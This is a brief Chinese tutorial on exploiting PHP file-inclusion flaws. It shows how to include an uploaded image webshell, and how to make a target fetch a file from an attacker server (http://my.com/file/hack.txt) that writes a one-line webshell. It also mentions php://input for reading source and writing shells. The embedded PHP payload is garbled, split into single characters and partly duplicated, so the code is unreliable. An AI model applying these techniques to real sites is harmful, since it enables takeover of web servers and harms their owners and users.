1.文件包含漏洞原理
以php脚本为例,在配置文件中打开了allow_url_fopen与allow_url_include俩个选项,本意是为了在开发配置网站中提高文件加载利用的效率,但是同时也给入侵者提供了可乘之机,被包含执行的文件都会以对应的脚本形式去执行。
2.本地文件包含利用
假设网站存在包含功能,URL形式为http://index.com/include.php?filename=file/Open.html/,那么如果我们能够上传文件,但是只允许上传.jpg.txt,那么此时我们就能直接做一个图片马,传到目标站点,通过抓包抓出路径,利用上面的包含功能构造一个访问http://index.com/include.php?filename=upload/ma.jpg,再利用webshell管理工具就可以直接getshell了。
3.远程文件包含
如果目标站点没有上传功能,网站上也没有我们可以利用的文件,恰好此时能够进行远程文件包含,我们就可以在本地服务器构造恶意文件,通过目标服务器发起访问请求,去加载执行命令。
仍以上面例子,现在我们在本地服务器http://my.com/file目录下面生成一个hack.txt文件,里面包含代码
";
b
=
f
o
p
e
n
(
"
h
a
c
k
.
p
h
p
"
,
"
w
"
)
o
r
d
i
e
(
"
123
!
"
)
;
f
w
r
i
t
e
(
b = fopen("hack.php","w") or die("123!");fwrite(
b=fopen("hack.php","w")ordie("123!");fwrite(b,$a); echo “its ok” echo" ";?>
再通过调用包含功能http://index.com/include.php?filename=http://my.com/file/hack.txt,调用成功页面就会返回提示信息"its ok", 并且在目标包含函数的目录下面创建一个hack.php的一句话木马。
4.注意要点
,利用文件包含漏洞来getshell,本质上需要对方服务器上存在我们的木马,所以一般结合上传来利用,远程包含如果不能在对方机器上进行存储读写功能,基本上除了利用本地函数进行信息探测,没有其它更好的利用方式。
5.文件包含与伪协议结合利用
不同脚本具备不同的伪协议,大体原理一致,以php://input伪协议来举例,我们可以通过它结合文件进行读源码,写shell等利用
|